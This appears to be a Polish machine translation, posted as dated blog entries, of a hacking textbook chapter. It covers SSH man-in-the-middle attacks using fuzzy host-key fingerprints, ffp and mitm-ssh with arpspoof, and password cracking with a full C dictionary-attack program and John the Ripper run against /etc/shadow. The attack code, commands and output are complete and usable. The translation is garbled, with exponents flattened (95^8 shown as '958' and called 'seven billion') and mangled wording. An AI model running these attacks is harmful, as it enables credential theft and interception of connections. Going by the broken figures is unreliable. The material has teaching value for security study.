Teraz, gdy format odcisku palca klucza hosta jest znany dla 192.168.42.72 (loki), można wygenerować rozmyte odciski palców, które wyglądają podobnie. Program, który to robi, został opracowany przez Rieck i jest dostępny pod adresem http://www.thc.org/thc-ffp/. Poniższy wynik pokazuje tworzenie niektórych rozmytych odcisków palców dla 192.168.42.72 (loki).

reader@hacking:~ $ ffp

Usage: ffp [Options]

Options:

-f type Specify type of fingerprint to use [Default: md5]

Available: md5, sha1, ripemd

-t hash Target fingerprint in byte blocks.

Colon-separated: 01:23:45:67... or as string 01234567...

-k type Specify type of key to calculate [Default: rsa]

Available: rsa, dsa

-b bits Number of bits in the keys to calculate [Default: 1024]

-K mode Specify key calulation mode [Default: sloppy]

Available: sloppy, accurate

-m type Specify type of fuzzy map to use [Default: gauss]

Available: gauss, cosine

-v variation Variation to use for fuzzy map generation [Default: 7.3]

-y mean Mean value to use for fuzzy map generation [Default: 0.14]

-l size Size of list that contains best fingerprints [Default: 10]

-s filename Filename of the state file [Default: /var/tmp/ffp.state]

-e Extract SSH host key pairs from state file

-d directory Directory to store generated ssh keys to [Default: /tmp]

-p period Period to save state file and display state [Default: 60]

-V Display version information

No state file /var/tmp/ffp.state present, specify a target hash.

reader@hacking:~ $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:

10:59:a0

---[Initializing]---------------------------------------------------------------

Initializing Crunch Hash: Done

Initializing Fuzzy Map: Done

Initializing Private Key: Done

Initializing Hash List: Done

Initializing FFP State: Done

---[Fuzzy Map]------------------------------------------------------------------

Length: 32

Type: Inverse Gaussian Distribution

Sum: 15020328

Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% :

3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% :

0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% :

1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% :

---[Current Key]----------------------------------------------------------------

Key Algorithm: RSA (Rivest Shamir Adleman)

Key Bits / Size of n: 1024 Bits

Public key e: 0x10001

Public Key Bits / Size of e: 17 Bits

Phi(n) and e r.prime: Yes

Generation Mode: Sloppy

State File: /var/tmp/ffp.state

Running...

---[Current State]--------------------------------------------------------------

Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s

--------------------------------------------------------------------------------

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state

Hash Algorithm: Message Digest 5 (MD5)

Digest Size: 16 Bytes / 128 Bits

Message Digest: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81

Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0

Fuzzy Quality: 25.652482%

---[Current State]--------------------------------------------------------------

Running: 0d 00h 01m 00s | Total: 7635k hashs | Speed: 127242 hashs/s

--------------------------------------------------------------------------------

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state

Hash Algorithm: Message Digest 5 (MD5)

Digest Size: 16 Bytes / 128 Bits

Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80

Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0

Fuzzy Quality: 55.471931%

---[Current State]--------------------------------------------------------------

Running: 0d 00h 02m 00s | Total: 15370k hashs | Speed: 128082 hashs/s

--------------------------------------------------------------------------------

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state

Hash Algorithm: Message Digest 5 (MD5)

Digest Size: 16 Bytes / 128 Bits

Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80

Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0

Fuzzy Quality: 55.471931%

.:[ output trimmed ]:.

---[Current State]--------------------------------------------------------------

Running: 1d 05h 06m 00s | Total: 13266446k hashs | Speed: 126637 hashs/s

--------------------------------------------------------------------------------

Best Fuzzy Fingerprint from State File /var/tmp/ffp.state

Hash Algorithm: Message Digest 5 (MD5)

Digest Size: 16 Bytes / 128 Bits

Message Digest: ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50

Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0

Fuzzy Quality: 70.158321%

--------------------------------------------------------------------------------

Exiting and saving state file /var/tmp/ffp.state

reader@hacking:~ $

Ten rozmyty proces generowania linii papilarnych może trwać tak długo, jak jest to pożądane. Program śledzi niektóre z najlepszych odcisków palców i wyświetla je okresowo. Wszystkie informacje o stanie są przechowywane w /var/tmp/ffp.state, więc program może zostać zakończony za pomocą CTRL-C, a następnie wznowiony później, po prostu uruchamiając ffp bez żadnych argumentów. Po uruchomieniu na chwilę pary kluczy hosta SSH można wyodrębnić z pliku stanu za pomocą przełącznika -e.

reader@hacking:~ $ ffp -e -d /tmp

---[Restoring]------------------------------------------------------------------

Reading FFP State File: Done

Restoring environment: Done

Initializing Crunch Hash: Done

--------------------------------------------------------------------------------

Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09]

reader@hacking:~ $ ls /tmp/ssh-rsa*

/tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-rsa07.pub

/tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08

/tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-rsa08.pub

/tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09

/tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-rsa09.pub

reader@hacking:~ $

In the preceding example, 10 public and private host key pairs have been generated. Fingerprints for these key pairs can then be generated and compared with the original fingerprint, as seen in the following output.

reader@hacking:~ $ for i in $(ls -1 /tmp/ssh-rsa*.pub)

> do

> ssh-keygen -l -f $i

> done

1024 ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 /tmp/ssh-rsa00.pub

1024 ba:06:7f:12:bd:8a:5b:5c:eb:dd:93:ec:ec:d3:89:a9 /tmp/ssh-rsa01.pub

1024 ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0 /tmp/ssh-rsa02.pub

1024 ba:06:49:d4:b9:d4:96:4b:93:e8:5d:00:bd:99:53:a0 /tmp/ssh-rsa03.pub

1024 ba:06:7c:d2:15:a2:d3:0d:bf:f0:d4:5d:c6:10:22:90 /tmp/ssh-rsa04.pub

1024 ba:06:3f:22:1b:44:7b:db:41:27:54:ac:4a:10:29:e0 /tmp/ssh-rsa05.pub

1024 ba:06:78:dc:be:a6:43:15:eb:3f:ac:92:e5:8e:c9:50 /tmp/ssh-rsa06.pub

1024 ba:06:7f:da:ae:61:58:aa:eb:55:d0:0c:f6:13:61:30 /tmp/ssh-rsa07.pub

1024 ba:06:7d:e8:94:ad:eb:95:d2:c5:1e:6d:19:53:59:a0 /tmp/ssh-rsa08.pub

1024 ba:06:74:a2:c2:8b:a4:92:e1:e1:75:f5:19:15:60:a0 /tmp/ssh-rsa09.pub

reader@hacking:~ $ ssh-keygen -l -f ./loki.hostkey

1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72

reader@hacking:~ $

Z 10 wygenerowanych par kluczy, ta, która wydaje się najbardziej podobna, może być określona przez oko. W tym przypadku wybrano ssh-rsa02.pub, pogrubiony. Niezależnie jednak od tego, która para kluczy zostanie wybrana, z pewnością będzie wyglądać bardziej jak oryginalny odcisk palca niż jakikolwiek losowo wygenerowany klucz. Ten nowy klucz może być użyty z mitm-ssh, aby uzyskać jeszcze skuteczniejszy atak. Lokalizacja klucza hosta jest określona w pliku konfiguracyjnym, więc użycie nowego klucza jest po prostu kwestią dodania linii HostKey do / usr / local / etc / mitm-ssh_config, jak pokazano poniżej. Ponieważ musimy usunąć linię protokołu 1, którą dodaliśmy wcześniej, dane wyjściowe po prostu zastępują plik konfiguracyjny.

reader@hacking:~ $ echo "HostKey /tmp/ssh-rsa02" > /usr/local/etc/mitm-ssh_config

reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222Using static route to 192.168.

42.72:22

Disabling protocol version 1.

Could not load host key SSH MITM Server listening on 0.0.0.0 port 2222.

W innym oknie terminala arpspoof działa, aby przekierować ruch do mitm-ssh, który użyje nowego klucza hosta z rozmytym odciskiem palca. Poniższe dane wyjściowe porównują dane wyjściowe, które klient zobaczy podczas łączenia.

Normalne połączenie

iz@tetsuo:~ $ ssh jose@192.168.42.72

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.

RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.

Are you sure you want to continue connecting (yes/no)?



Atakowane połączenie MitM

iz@tetsuo:~ $ ssh jose@192.168.42.72

The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.

RSA key fingerprint is ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0.

Are you sure you want to continue connecting (yes/no)?

Czy możesz natychmiast powiedzieć różnicę? Te odciski palców wyglądają podobnie, by skłonić większość ludzi do zaakceptowania połączenia

Powrót

28.10.2020

Łamanie hasła

Hasła zazwyczaj nie są przechowywane w postaci zwykłego tekstu. Plik zawierający wszystkie hasła w postaci zwykłego tekstu byłby zbyt atrakcyjny jako cel, więc zamiast tego używana jest jednokierunkowa funkcja mieszania. Najbardziej znana z tych funkcji jest oparta na DES i nazywa się crypt (), co opisano na stronie podręcznika pokazanej poniżej.

NAME

crypt - password and data encryption

SYNOPSIS

#define _XOPEN_SOURCE

#include < unistd.h >

char *crypt(const char *key, const char *salt);

DESCRIPTION

crypt() is the password encryption function. It is based on the Data

Encryption Standard algorithm with variations intended (among other things) to discourage use of hardware implementations of a key search.key is a user's typed password. salt is a two-character string chosen from the set [a-zA-Z0-9./]. This string is used to perturb the algorithm in one of 4096 different ways. Jest to jednokierunkowa funkcja skrótu, która oczekuje hasła w postaci zwykłego tekstu i wartości soli dla danych wejściowych, a następnie generuje skrót z wartością dodaną soli. Ten skrót jest matematycznie nieodwracalny, co oznacza, że niemożliwe jest określenie oryginalnego hasła przy użyciu tylko skrótu. Napisanie szybkiego programu do eksperymentowania z tą funkcją pomoże wyjaśnić wszelkie nieporozumienia.

crypt_test.c

#define _XOPEN_SOURCE

#include < unistd.h >

#include < stdio.h >

int main(int argc, char *argv[]) {

if(argc < 2) {

printf("Usage: %s < plaintext password > < salt value >\n", argv[0]);

exit(1);

}

printf("password \"%s\" with salt \"%s\" ", argv[1], argv[2]);

printf("hashes to ==> %s\n", crypt(argv[1], argv[2]));

}

Po skompilowaniu tego programu biblioteka crypt musi zostać połączona. Jest to pokazane na poniższym wyjściu, wraz z niektórymi przebiegami testowymi.

reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c

/tmp/cccrSvYU.o: In function `main':

crypt_test.c:(.text+0x73): undefined reference to `crypt'

collect2: ld returned 1 exit status

reader@hacking:~/booksrc $ gcc -o crypt_test crypt_test.c -l crypt

reader@hacking:~/booksrc $ ./crypt_test testing je

password "testing" with salt "je" hashes to ==> jeLu9ckBgvgX.

reader@hacking:~/booksrc $ ./crypt_test test je

password "test" with salt "je" hashes to ==> jeHEAX1m66RV.

reader@hacking:~/booksrc $ ./crypt_test test xy

password "test" with salt "xy" hashes to ==> xyVSuHLjceD92

reader@hacking:~/booksrc $

Zauważ, że w dwóch ostatnich przebiegach to samo hasło jest szyfrowane, ale przy użyciu różnych wartości soli. Wartość soli jest używana do dalszego zakłócenia algorytmu, więc może istnieć wiele wartości mieszania dla tej samej wartości tekstu jawnego, jeśli używane są różne wartości soli. Wartość skrótu (łącznie z dodaną solą) jest przechowywana w pliku haseł pod założenie, że jeśli atakujący miałby ukraść plik haseł, skróty byłyby bezużyteczne. Gdy uprawniony użytkownik musi uwierzytelnić się za pomocą skrótu hasła, skrót tego użytkownika jest wyszukiwany w pliku haseł. Użytkownik jest proszony o wprowadzenie hasła, oryginalna wartość soli jest wyodrębniana z pliku haseł i cokolwiek użytkownik wysyła za pomocą tej samej jednokierunkowej funkcji mieszania z wartością soli. Jeśli wprowadzono poprawne hasło, jednokierunkowa funkcja mieszania wygeneruje to samo wyjście mieszania, które jest zapisane w pliku haseł. Dzięki temu uwierzytelnianie działa zgodnie z oczekiwaniami, bez konieczności przechowywania hasła w postaci zwykłego tekstu.

Powrót

29.10.2020

Ataki słownikowe

Okazuje się jednak, że zaszyfrowane hasła w pliku haseł wcale nie są takie bezużyteczne. Oczywiście, jest to matematycznie niemożliwe, aby odwrócić hash, ale możliwe jest szybkie skasowanie każdego słowa w słowniku, użycie wartości soli dla określonego skrótu, a następnie porównanie wyniku z tym hashem. Jeśli skróty są zgodne, to słowo ze słownika musi być hasłem zwykłego tekstu. Prosty program ataku słownikowego można dość łatwo podnieść. Wystarczy odczytać słowa z pliku, zmieszać każdy z nich przy użyciu odpowiedniej wartości soli i wyświetlić słowo, jeśli istnieje dopasowanie. Poniższy kod źródłowy robi to za pomocą funkcji strumienia plików, które są dołączone do stdio.h. Funkcje te są łatwiejsze w obsłudze, ponieważ zamykają bałagan wywołań open () i deskryptorów plików, używając zamiast tego wskaźników struktury PLIKU. W źródle poniżej argument r wywołania fopen () mówi mu, aby otworzyć plik do odczytu. Zwraca NULL w przypadku niepowodzenia lub wskaźnik do otwartego strumienia plików. Wywołanie fgets () pobiera ciąg z filestreamu, aż do maksymalnej długości lub gdy osiągnie koniec linii. W tym przypadku służy do odczytywania każdej linii z pliku listy słów. Ta funkcja zwraca również NULL w przypadku błędu, który jest używany do wykrywania, a następnie końca pliku.

crypt_crack.c

#define _XOPEN_SOURCE

#include < unistd.h >

#include < stdio.h >

/* Barf a message and exit. */

void barf(char *message, char *extra) {

printf(message, extra);

exit(1);

}

/* A dictionary attack example program */

int main(int argc, char *argv[]) {

FILE *wordlist;

char *hash, word[30], salt[3];

if(argc < 2)

barf("Usage: %s < wordlist file > < password hash >\n", argv[0]);

strncpy(salt, argv[2], 2); // First 2 bytes of hash are the salt.

salt[2] = '\0'; // terminate string

printf("Salt value is \'%s\'\n", salt);

if( (wordlist = fopen(argv[1], "r")) == NULL) // Open the wordlist.

barf("Fatal: couldn't open the file \'%s\'.\n", argv[1]);

while(fgets(word, 30, wordlist) != NULL) { // Read each word

word[strlen(word)-1] = '\0'; // Remove the '\n' byte at the end.

hash = crypt(word, salt); // Hash the word using the salt.

printf("trying word: %-30s ==> %15s\n", word, hash);

if(strcmp(hash, argv[2]) == 0) { // If the hash matches

printf("The hash \"%s\" is from the ", argv[2]);

printf("plaintext password \"%s\".\n", word);

fclose(wordlist);

exit(0);

}

}

printf("Couldn't find the plaintext password in the supplied wordlist.\n");

fclose(wordlist);

}

Poniższy wynik pokazuje, że ten program jest używany do złamania hasła hash jeHEAX1m66RV., Używając słów znalezionych w usr / share / dict / words.

reader@hacking:~/booksrc $ gcc -o crypt_crack crypt_crack.c -lcrypt

reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeHEAX1m66RV.

Salt value is 'je'

trying word: ==> jesS3DmkteZYk

trying word: A ==> jeV7uK/S.y/KU

trying word: A's ==> jeEcn7sF7jwWU

trying word: AOL ==> jeSFGex8ANJDE

trying word: AOL's ==> jesSDhacNYUbc

trying word: Aachen ==> jeyQc3uB14q1E

trying word: Aachen's ==> je7AQSxfhvsyM

trying word: Aaliyah ==> je/vAqRJyOZvU

.:[ output trimmed ]:.

trying word: terse ==> jelgEmNGLflJ2

trying word: tersely ==> jeYfo1aImUWqg

trying word: terseness ==> jedH11z6kkEaA

trying word: terseness's ==> jedH11z6kkEaA

trying word: terser ==> jeXptBe6psF3g

trying word: tersest ==> jenhzylhDIqBA

trying word: tertiary ==> jex6uKY9AJDto

trying word: test ==> jeHEAX1m66RV.

The hash "jeHEAX1m66RV." is from the plaintext password "test".

reader@hacking:~/booksrc $

Ponieważ test słów był oryginalnym hasłem i słowo to znajduje się w pliku słów, skrót hasła zostanie ostatecznie złamany. Dlatego za słabe praktyki bezpieczeństwa uważa się używanie haseł, które są słowami słownikowymi lub słowami słownikowymi. Minusem tego ataku jest to, że jeśli oryginalne hasło nie jest słowem znalezionym w pliku słownika, hasło nie zostanie znalezione. Na przykład, jeśli nie-słownikowe słowo, takie jak h4R%, jest używane jako hasło, atak słownikowy nie będzie mógł go znaleźć:

reader@hacking:~/booksrc $ ./crypt_test h4R% je

password "h4R%" with salt "je" hashes to ==> jeMqqfIfPNNTE

reader@hacking:~/booksrc $ ./crypt_crack /usr/share/dict/words jeMqqfIfPNNTE

Salt value is 'je'

trying word: ==> jesS3DmkteZYk

trying word: A ==> jeV7uK/S.y/KU

trying word: A's ==> jeEcn7sF7jwWU

trying word: AOL ==> jeSFGex8ANJDE

trying word: AOL's ==> jesSDhacNYUbc

trying word: Aachen ==> jeyQc3uB14q1E

trying word: Aachen's ==> je7AQSxfhvsyM

trying word: Aaliyah ==> je/vAqRJyOZvU

.:[ output trimmed ]:.

trying word: zooms ==> je8A6DQ87wHHI

trying word: zoos ==> jePmCz9ZNPwKU

trying word: zucchini ==> jeqZ9LSWt.esI

trying word: zucchini's ==> jeqZ9LSWt.esI

trying word: zucchinis ==> jeqZ9LSWt.esI

trying word: zwieback ==> jezzR3b5zwlys

trying word: zwieback's ==> jezzR3b5zwlys

trying word: zygote ==> jei5HG7JrfLy6

trying word: zygote's ==> jej86M9AG0yj2

trying word: zygotes ==> jeWHQebUlxTmo

Nie można znaleźć hasła w postaci zwykłego tekstu w dostarczonej liście słów. Pliki słowników niestandardowych są często tworzone przy użyciu różnych języków, standardowych modyfikacji słów (takich jak przekształcanie liter w liczby) lub po prostu dołączanie numerów na końcu każdego słowa. Większy słownik da więcej haseł, ale przetworzenie zajmie więcej czasu.

Powrót

30.10.2020

Wyczerpujące ataki Brute-Force

Atak słownikowy, który próbuje każdą możliwą kombinację, jest wyczerpującym atakiem brute-force. Chociaż ten rodzaj ataku będzie technicznie w stanie złamać każde możliwe hasło, prawdopodobnie potrwa to dłużej, niż wnuki wnuków byłyby skłonne czekać. Z 95 możliwymi znakami wejściowymi dla haseł w stylu crypt (), istnieje 958 możliwych haseł do wyczerpującego wyszukiwania wszystkich haseł ośmioznakowych, co daje ponad siedem miliardów możliwych haseł. Liczba ta staje się tak duża, ponieważ ponieważ do długości hasła dodawany jest inny znak, liczba możliwych haseł rośnie wykładniczo. Zakładając 10 000 pęknięć na sekundę, wypróbowanie każdego hasła zajęłoby około 22 875 lat. Rozłożenie tego wysiłku na wiele maszyn i procesorów jest jednym z możliwych podejść; ważne jest jednak, aby pamiętać, że osiągnie to tylko przyspieszenie liniowe. Gdyby połączono tysiąc maszyn, każdy zdolny do 10 000 pęknięć na sekundę, wysiłek ten trwałby jeszcze ponad 22 lata. Przyspieszenie liniowe uzyskane przez dodanie innej maszyny jest marginalne w porównaniu ze wzrostem w przestrzeni klawiszy, gdy do długości hasła dodawany jest inny znak. Na szczęście odwrotność wzrostu wykładniczego jest również prawdziwa; w miarę usuwania znaków z długości hasła liczba możliwych haseł maleje wykładniczo. Oznacza to, że czteroznakowe hasło ma tylko 954 możliwe hasła. Ta przestrzeń klucza ma tylko około 84 milionów możliwych haseł, które mogą zostać wyczerpane (zakładając 10 000 pęknięć na sekundę) w ciągu nieco ponad dwóch godzin. Oznacza to, że nawet jeśli hasło takie jak h4R% nie znajduje się w żadnym słowniku, może zostać złamane w rozsądnym czasie. Oznacza to, że oprócz unikania słów słownikowych ważna jest również długość hasła. Ponieważ złożoność zwiększa się wykładniczo, podwojenie długości w celu uzyskania hasła składającego się z ośmiu znaków powinno przynieść poziom wysiłku wymagany do złamania hasła w nieuzasadnionym przedziale czasowym. Solar Designer opracował program łamania haseł o nazwie John the Ripper, który używa najpierw ataku słownikowego, a następnie wyczerpującego ataku brute-force. Ten program jest prawdopodobnie najbardziej popularny w swoim rodzaju; jest dostępny pod adresem http://www.openwall.com/john

reader@hacking:~/booksrc $ john

John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer

Usage: john [OPTIONS] [PASSWORD-FILES]

-single "single crack" mode

-wordfile:FILE -stdin wordlist mode, read words from FILE or stdin

-rules enable rules for wordlist mode

-incremental[:MODE] incremental mode [using section MODE]

-external:MODE external mode or word filter

-stdout[:LENGTH] no cracking, just write words to stdout

-restore[:FILE] restore an interrupted session [from FILE]

-session:FILE set session file name to FILE

-status[:FILE] print status of a session [from FILE]

-makechars:FILE make a charset, FILE will be overwritten

-show show cracked passwords

-test perform a benchmark

-users:[-]LOGIN|UID[,..] load this (these) user(s) only

-groups:[-]GID[,..] load users of this (these) group(s) only

-shells:[-]SHELL[,..] load users with this (these) shell(s) only

-salts:[-]COUNT load salts with at least COUNT passwords only

-format:NAME force ciphertext format NAME (DES/BSDI/MD5/BF/AFS/LM)

-savemem:LEVEL enable memory saving, at LEVEL 1..3

reader@hacking:~/booksrc $ sudo tail -3 /etc/shadow

matrix:$1$zCcRXVsm$GdpHxqC9epMrdQcayUx0//:13763:0:99999:7:::

jose:$1$pRS4.I8m$Zy5of8AtD800SeMgm.2Yg.:13786:0:99999:7:::

reader:U6aMy0wojraho:13764:0:99999:7:::

reader@hacking:~/booksrc $ sudo john /etc/shadow

Loaded 2 passwords with 2 different salts (FreeBSD MD5 [32/32])

guesses: 0 time: 0:00:00:01 0% (2) c/s: 5522 trying: koko

guesses: 0 time: 0:00:00:03 6% (2) c/s: 5489 trying: exports

guesses: 0 time: 0:00:00:05 10% (2) c/s: 5561 trying: catcat

guesses: 0 time: 0:00:00:09 20% (2) c/s: 5514 trying: dilbert!

guesses: 0 time: 0:00:00:10 22% (2) c/s: 5513 trying: redrum3

testing7 (jose)

guesses: 1 time: 0:00:00:14 44% (2) c/s: 5539 trying: KnightKnight

guesses: 1 time: 0:00:00:17 59% (2) c/s: 5572 trying: Gofish!

Session aborted

Na tym wyjściu pokazano, że konto ma hasło do testing7



Powrót

31.10.2020

Tabela wyszukiwania haszów

Innym interesującym pomysłem na łamanie haseł jest użycie gigantycznej tablicy przeglądowej hash. Jeśli wszystkie skróty dla wszystkich możliwych haseł były wstępnie obliczone i przechowywane gdzieś w przeszukiwalnej strukturze danych, każde hasło może zostać złamane w czasie potrzebnym na wyszukiwanie. Zakładając wyszukiwanie binarne, tym razem będzie to około O (log2 N), gdzie N jest liczbą wpisów. Ponieważ N wynosi 958 w przypadku haseł ośmioznakowych, działa to na około O (8 log2 95), co jest dość szybkie. Jednak taka tablica wyszukiwania wymaga około 100 000 terabajtów pamięci. Ponadto konstrukcja algorytmu mieszania haseł uwzględnia ten typ ataku i łagodzi go za pomocą wartości soli. Ponieważ wiele haseł w postaci zwykłego tekstu będzie mieszało różne skróty haseł z różnymi solami, dla każdej soli musiałaby zostać utworzona osobna tabela przeglądowa. Dzięki funkcji crypt () opartej na DES, istnieje 4 096 możliwych wartości soli, co oznacza, że nawet w przypadku mniejszej przestrzeni klucza, takiej jak wszystkie możliwe czteroznakowe hasła, tablica haszująca staje się niepraktyczna. Z ustaloną solą, przestrzeń pamięci potrzebna na pojedynczą tablicę wyszukiwania dla wszystkich możliwych czteroznakowych haseł wynosi około jednego gigabajta, ale ze względu na wartości soli istnieje 4096 możliwych skrótów dla pojedynczego hasła w postaci zwykłego tekstu, co wymaga 4096 różnych tabel. Podnosi to potrzebną przestrzeń do około 4,6 terabajta, co znacznie zniechęca do takiego ataku

Powrót